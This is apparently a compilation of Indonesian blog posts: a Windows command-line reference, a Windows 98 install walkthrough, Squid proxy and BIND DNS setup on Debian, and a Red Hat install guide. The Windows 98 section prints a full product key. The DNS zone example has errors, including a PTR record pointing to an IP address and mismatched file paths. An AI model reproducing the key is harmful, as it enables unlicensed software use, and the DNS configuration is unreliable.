Netsh : Configure Network Interfaces, Windows Firewall & Remote akses
NETSVC : Command-line Service Controller
NBTSTAT : Tampilkan statistik jaringan (NetBIOS over TCP / IP)
NETSTAT : Display networking statistics (TCP / IP)
NOW : Tampilan  saat ini Tanggal dan Waktu
NSLOOKUP : Nama server lookup
NTBACKUP : Backup  folder ke tape
NTRIGHTS : Edit hak user account
p
PATH : Menampilkan atau menetapkan path pencarian untuk file executable
PATHPING : jejak jalur jaringan ditambah paket latensi dan kerugian
PAUSE : memenjarakan(suspend) pengolahan file batch dan menampilkan pesan
perms : Tampilkan izin untuk pengguna
PERFMON : Kinerja Monitor
PING : Menguji koneksi jaringan
POPD : Mengembalikan nilai sebelumnya dari direktori sekarang yang disimpan oleh PUSHD
PORTQRY : Tampilan status ports dan services
Powercfg : Mengkonfigurasi pengaturan daya
PRINT : Mencetak file teks
PRNCNFG : Display, mengkonfigurasi atau mengubah nama printer
PRNMNGR : Tambah, menghapus, daftar printer menetapkan printer default
PROMPT : Mengubah command prompt
PsExec : Proses Execute jarak jauh
PsFile : menampilkan file dibuka dari jarak jauh (remote)
PsGetSid : Menampilkan SID sebuah komputer atau pengguna
PsInfo : Daftar informasi tentang sistem
PsKill : proses mematikan berdasarkan nama atau ID proses
PsList : Daftar informasi rinci tentang proses-proses
PsLoggedOn : siapa saja yang log on (lokal atau melalui resource sharing)
PsLogList : catatan kejadian log
PsPasswd : Ubah sandi account
PsService : Melihat dan mengatur layanan
PsShutdown : Shutdown atau reboot komputer
PsSuspend : proses Suspend
PUSHD : Simpan dan kemudian mengubah direktori sekarang
q
QGREP : Cari file(s) untuk baris yang cocok dengan pola tertentu
r
RASDIAL : Mengelola koneksi RAS
RASPHONE : Mengelola koneksi RAS
Recover : perbaikan file yang rusak dari disk yang rusak
REG : Registry = Read, Set, Export, Hapus kunci dan nilai-nilai
REGEDIT : Impor atau ekspor  pengaturan registry
Regsvr32 : Register atau unregister sebuah DLL
REGINI : Ubah Registry Permissions
REM : Record comments (komentar) di sebuah file batch
REN : Mengubah nama file atau file
REPLACE : Ganti atau memperbarui satu file dengan yang lain
RD : Hapus folder (s)
RMTSHARE : Share folder atau printer
Robocopy : Copy File dan Folder secara sempurna
RUTE : Memanipulasi tabel routing jaringan
RUNAS : Jalankan program di bawah account pengguna yang berbeda
RUNDLL32 : Jalankan perintah DLL (add / remove print connections)
s
SC : Control Layanan
SCHTASKS : Jadwal perintah untuk dijalankan pada waktu tertentu
SCLIST : Tampilkan Layanan NT
SET : Display, set, atau menghapus variabel environment
SETLOCAL : Pengendalian environment visibilitas variabel
SETX : Set variabel environment secara permanen
SFC : Pemeriksa Berkas Sistem
SHARE :  Daftar atau mengedit file share atau share print
SHIFT : Shift posisi digantikan parameter dalam sebuah file batch
SHORTCUT : jendela Buat shortcut (. LNK file)
SHOWGRPS : Daftar NT Workgroups seorang pengguna telah bergabung
SHOWMBRS : Daftar Pengguna yang menjadi anggota dari sebuah Workgroup
SHUTDOWN : Shutdown komputer
SLEEP : Tunggu untuk x detik
SLMGR : Software Licensing Management (Vista/2008)
SOON : Jadwal perintah untuk menjalankan dalam waktu dekat
SORT : Sort input
START : memulai sebuah program atau perintah dalam jendela terpisah
SU : Switch User
SUBINACL : Edit file dan folder Permissions, Kepemilikan dan Domain
SUBST : Associate jalan dengan huruf drive
Systeminfo : Daftar konfigurasi sistem
t
TASKLIST : Daftar menjalankan aplikasi dan services
TASKKILL : Hapus proses yang berjalan dari memori
TIME : Menampilkan atau mengatur waktu sistem
TIMEOUT : penundaan pemrosesan dari sebuah batch file
TITLE : Mengatur judul window untuk sesi cmd.exe
TLIST : daftar tugas dengan path lengkap
TOUCH : mengganti file timestamps
Tracert : Trace route ke sebuah remote host
TREE : tampilan grafis struktur folder
TYPE : Menampilkan isi dari file teks
u
USRSTAT : Daftar domain nama pengguna dan terakhir login
v
VER : Tampilkan versi informasi
VERIFY : Pastikan bahwa file sudah disimpan
VOL : Menampilkan sebuah label disk
w
WHERE : Menempatkan dan menampilkan file dalam sebuah pohon direktori
wHOAMI : Output UserName saat ini dan manajemen domain
WINDIFF : Bandingkan isi dua file atau set file
WINMSD : Sistem Windows diagnostik
WINMSDP : Sistem Windows diagnostik II
WMIC : Perintah WMI
x
XCACLS : Ubah file dan folder permissions
XCOPY : Menyalin file dan folder

Cara Install Windows 98

INTRODUCTION
What you will require to do this walkthrough is
  1. A Windows 98 CD
  2. A Computer with CD-ROM access
To start this Windows install. First check that the first boot device in your system BIOS is set to the  CD-ROM Drive.
( To find out how to access the BIOS please refer to your motherboard manual or the manufacturer of your computer. (The system bios can usually be entered on boot, usually by pressing the F1, F2, F8, F10 or DEL key. Make sure you save the settings before exiting))
If you are unsure or don't want to enter the BIOS then just test the computer by putting the CD-ROM in the drive and rebooting the computer. This is the recommended way to install windows.
You will know that your computer will/has booted of CD-ROM when the following screen appears.
        (Cd Key : HGBRM-RBK3V-M9FXV-YCXDK-V38J4 )
  
PART 1
 
To begin the Windows 98 install select Option 2 (Boot from CD-Rom)
The following screen will appear next. Select Option 1. (Start Windows 98 Setup from CD-ROM)
Your CD-ROM driver will now install, be patient this may take a few moments.
Now press Enter to continue, or F3 to exit.
Setup will now perform checks on your system, press Enter to continue.
Next Scandisk will run, let this complete or setup.
Now setup will copy important files for the install.
 
PART 2

Setup has now begun, the mouse should now be active, press Continue to proceed. If you have a change of mind then press Exit Setup. If the mouse is not active press "ENTER" on the keyboard.
The wizard will now start. Be patient this may take a few moments.
Now select the directory you wish to install Windows into. By default C:\Windows will be selected. You can change this, but it is not advised. Click on Next to Continue.
Setup will now prepare the directory, be patient this may take a moment.
Setup now checks disk space. 
What do you wish to install. We recommend Typical, which is the default. So click Next to continue.
Windows Components to be installed will now be listed. Leave at default and press Next.
If a Network card has been detected the following will appear. Fill in the details and click Next.
Now your country settings, select as needed and then press Next.
Windows will now copy files, this will take sometime. Be patient

PART 3

After sometime you will be prompted to restart, Windows will do it itself, you can click on Restart Now to quicken the process.
The CD-ROM boot menu will appear. Select option 1 (Boot from Hard Disk)
Booting for first time screen will appear.
Now enter your name, company is optional. Click on Next to continue.
Now the License Agreement. Read and if you agree click on "I accept the Agreement" and click next. If you select ""I don't accept the Agreement" then setup will end. 
Now input your product key or certificate authenticity code. This is 16 digits and is located on the back of your CD case or on the Windows 98 Book. If you have an OEM computer then it could be on the side or back of your computer. Click next to continue. 
Next click on Finish.

PART 4

Setup will now finalize the hardware and install settings.
Plug and Play Devices.....
Your computer will prompt to restart....
The CD boot menu will appear. Select option 1 (Boot from Hard Disk) and press enter.
Windows is booting.
and continuing the install of devices. 

PART 5

Now select your date/time settings, using the down arrow beside GMT -0800.
Once selected click on apply and then OK.
Windows will continue to setup Windows items.
The computer will now need restarted again.

PART 6

The CD-ROM boot menu will appear. Select Option 1 (Boot from Hard Disk) and press enter.
Windows will continue to load.
and update System Settings.
At long last you have arrived at the desktop. 
If you are lucky you will have no drivers to install, but chances are the next step will be to install them. Check out device manager for unknown devices, likely items are Network Cards, Sound Cards, Printers, Scanners, Graphics Cards, Digital Cameras, plus  any other item you have.

Konfigurasi Squid Debian

Berikut ini adalah langkah-langkah untuk mensetting squid proxy server pada OS debian.

Install paket squid dari repository terdekat
apt-get install squid
Edit konfigurasi squid, sesuaikan dengan kebutuhan
mcedit /etc/squid/squid.conf

1. Mengatur port dimana squid binding (berjalan).

http_port 3128
atau utk lebih aman-nya, kita bisa juga definisikan ip address dan portnya sekaligus
http_port 10.2.1.55:3128

2. Mengatur letak dan ukuran direktori dimana squid menyimpan cache-nya.

cache_dir ufs 100 16 256
keterangan
100 : 100 MB yg dialokasikan utk cachenya squid
16 : direktori tingkat 1 yg digunakan utk penyimpanan cache
256 : direktori tingkat 2 yg digunakan utk penyimpanan cache

3. Access Control List (ACL) : digunakan untuk memberikan akses (allow/deny) pada squid.

acl lab-crew src 10.2.1.0/24
10.2.1.0/24 : source ip-address LAN yg diperbolehkan mengakses squid
lab-crew : nama dari ACL

4. Memperbolehkan akses dari lab-crew (10.2.1.0/24)

http_access allow lab-crew

5. Membuka Port-port yg diperlukan untuk chat (YM = 5050, mirc = 6660-6670) -> port ini sebetulnya tidak mengakses squid dengan cara yang normal sebagaimana yang terjadi apabila kita mengakses http (port 80), melainkan dengan metode CONNECT.

acl PortPenting port 5050 6660-6670
http_access allow CONNECT PortPenting

6. Menampilkan alamat email dari admin yg bertanggung jawab thd squid proxy-server.

cache_mgr lqman@computer.ee.its.ac.id

7. Menampilkan hostname dari proxy.

visible_hostname constantine.computer.ee.its.ac.id
hostname anda akan tampak dari sisi user apabila proxy mengalami error / sedang mengakses website secara Indexes

8. Mempercepat proses restart squid (defaultnya 30 seconds).

shutdown_lifetime 5 seconds

Selamat mencoba dan happy proxying
referensi :
/etc/squid.squid.conf atau /usr/share/doc/squid/examples/squid.conf

Konfigurasi DNS Server pada Debian

  1. Agar FIle named.conf bisa di edit paket debian yang harus kita install adalah paket bind atau named dengan cara :
              server@root #apt-get install bind
  1. setelah terinstalla cari file named.conf dengan cara :
              server@root #locate named.conf
              /etc/bind/named.conf
  1. Setelah itu edit file tersebut dengan perintah :
             server@root #mcedit /etc/bind/named.conf
  1. lalu tambahkan konfigurasi di bawah kedalamnya :
              zone "iman-tkj.com" {
                         type master;
                         file "/etc/bind/zones/iman-tkj.com";
              };

              zone "1.168.192.in-addr.arpa" {
                         type master;
                         file "/etc/bind/zones/forward.iman-tkj.com";
             };

  1. Setelah itu Copy file /etc/bind/db.local dengan nama /etc/bind/zones/iman-tkj.com dan file /etc/bind/db.127 dengan nama /etc/bind/zones/forward.iman-tkj.com dengan cara :
    server@root #cp /etc/bind/db.local  /etc/bind/zones/iman-tkj.com
             server@root #cp /etc/bind/db.127  /etc/bind/zones/forward.iman-tkj.com
  1.  Lalu edit kedua file tadi seperi dibawah ini :
              server@root #mcedit /etc/bind/iman-tkj.com
               $TTL 604800
               @ IN SOA iman-tkj.com. root.iman-tkj.com. (
                                                           1 ; Serial
                                                604800 ; Refresh
                                                  86400 ; Retry
                                              2419200 ; Expire
                                               604800 ) ; Negative Cache TTL
                                                       ;
               @          IN     NS             iman-tkj.com.     # di ganti dengan nama     domain yang anda gunakan
               @          IN     A                192.168.1.1         # ganti ip yang anda gunakan
                www    IN    CNAME     @


               server@root #mcedit /etc/bind/forward.iman-tkj.com

               $TTL 604800
               @ IN SOA iman-tkj.com. root.iman-tkj.com. (
                                                           1 ; Serial
                                                604800 ; Refresh
                                                  86400 ; Retry
                                              2419200 ; Expire
                                               604800 ) ; Negative Cache TTL
                                                       ;
               @          IN     NS             iman-tkj.com.     # di ganti dengan nama domain yang anda gunakan
                1           IN     PTR          192.168.1.1        # di ganti dengan ip anda

  1.  Setelah itu edit file /etc/resolv.conf seperti dibawah ini :
              server@root #mcedit /etc/resolv.conf

              nameserver 192.168.1.1
  1. Reload paket bind dengan cara berikut :
             server@root #/etc/init.d/bind restart

Senin, 18 Juli 2011

Cara Install Redhat

Persiapan Instalasi
Beberapa hal yang patut anda catat sebelum memulai instalasi adalah :
1. siapkan PC yang memungkinkan untuk menginstal linux
2. siapkan CD instalasi Linux yang akan anda instal
Memulai Instalasi
1. Setting BIOS pada komputer, agar booting pertama dari CD-Drive.
2. Masukkan Disk ke 1 dari 3 CD Red Hat ke dalam CD-Drive. Tunggu beberapa saat hingga tampil pilihan untuk memulai instalatasi Red Hat tersebut | tekan tombol Enter.
Tampilan awal boot
3. Tunggu beberapa saat akan muncul pilihan bahasa selama proses instalasi seperti gambar berikut :
Kotak dialog pilihan bahasa
4. Klik tombol Next. Kemudian akan tampil jendela pilihan untuk keyboard.
Kotak dialog konfigurasi keyboard
5. Klik tombol Next. Kemudian akan tampil jendela pilihan untuk mouse, klik sesuai dengan mouse yang digunakan.
Kotak dialog konfigurasi keyboard
6. Klik tombol Next. Kemudian akan tampil jendela pilihan untuk upgrade atau install

Kotak dialog Upgrade
7. Pilih Perform a New Red Hat Linux Installation, Kemudian klik tombol Next.
8. Tentukan pilihan untuk instalasi yang diinginkan, klik Next
Kotak dialog pilihan jenis instalasi
1 Personal Desktop Aplikasi offices dan Multimedia 1.8 GB
2 Workstation Komputer kerja untuk jaringan dan developer/ programmer. 2.1 GB
3 Server Komputer sebagai server dengan aplikasinya 1.5 GB – 4.85 GB
4 Custom Menentukan sendiri paket sesuai kebutuhan 500 MB – 4.85 GB
9. Pilih bentuk partisi yang diinginkan : Automatically Partition atau Manually Partition with Disk Druid
Kotak dialog pilihan jenis partisi
*) Membuat tiga partisi, masing-masing untuk windows, linux dan data. Sehingga jika anda ingin menghapus/ uninstal Linux atau Windows, data-data penting anda tidak turut hilang.
Skema susunan partisi
*) Didalam sebuah Harddisk terdapat konsep partisi yang terdiri dari Partisi Primary, Partisi Extended dan Partisi Logical. Didalam partisi primary terdapat Master Boot Record (MBR) untuk melakukan proses boot loader dari suatu sistem operasi.
10. Pilih Manually Partition with Disk Druid untuk membuat partisi Linux, dan secara default, Anda cukup untuk membuat partisi :
1 . /boot ———-> EXT3 / Linux Native ——-> 100 MB
2 . / ————–>EXT3 / Linux Native ——–>4000 MB
3 . swap ———–>Swap ————->2 x jumlah memori yang terpasang pada komputer
Kotak dialog pembagian partisi
Pilih tombol NEW pada kotak dialog Partitioning. Lalu isikan di kolom Mount Point “ / ”. Untuk file system, pilih Linux Native. Isikan kolom size sisa dari hardisk anda yang masih kosong. Lalu pilih OK kemudian pilih Next.
Kotak dialog menentukan sistem file
11. Setelah selesai pembuatan partisi maka akan ditampilkan konfigurasi untuk boot loader Lalu pilih Next, sehingga muncul tampilan sebagai berikut :
kotak dialog boot loader
12. Jika anda berencana menghubungkan komputer ke jaringan, isikan data yang diminta. Jika tidak biarkan kosong. Pilih Next.
Kotak dialog konfigurasi jaringan
13. Kemudian muncul kotak konfigurasi firewall. Biarkan kosong jika anda tidak menghubungkan komputer dengan jaringan.
Kotak dialog konfigurasi Firewall
14. Pilih Next , muncul tampilan berikut yang meminta anda mengisikan jenis bahasa yang akan digunakan oleh RedHat nantinya.
Sell Links On Your Site

Kotak dialog konfigurasi bahasa tambahan
15. Pilih Next untuk melanjutkan. Sehingga tampil setting waktu.
Kotak dialog konfigurasi tanggal
16. Pilih Next untuk melanjutkan. Masukkan Password untuk root, yang merupakan super user. Klik tombol Next dan tombol Next kembali.

17. Tentukan paket-paket apa saja yang akan di Install. Ada beberapa group paket diantaranya seperti Desktop, Application, Server. Kemudian klik Next
Kotak dialog Menentukan Jenis Paket
18. Tunggu beberapa saat hingga proses instalasi paket yang telah dipilih selesai semuanya.
Kotak dialog proses instalasi
19. Kemudian akan tampil kotak dialog untuk membuat boot system untuk disket, masukkan disket pada drive A, kemudian klik tombol Next.
Kotak dialog pembuatan disket boot
20. Setelah selesai pembuatan disket boot, kemudian akan tampil kotak dialog untuk menentukan jenis Berikutnya installer akan meminta anda memilih konfigurasi Video Card. Umumnya, installer mengenali jenis video card yang ada. Dan juga anda diminta memilih jumlah RAM video card tersebut. Seperti terlihat pada gambar berikut :
Kotak dialog Konfigurasi card monitor
21. Klik Next untuk menentukan jenis monitor yang digunakan dan resolusi yang diinginkan.
22. Setelah anda memasukan dengan benar, maka selesai sudah instalasi Linux RedHat 9.0.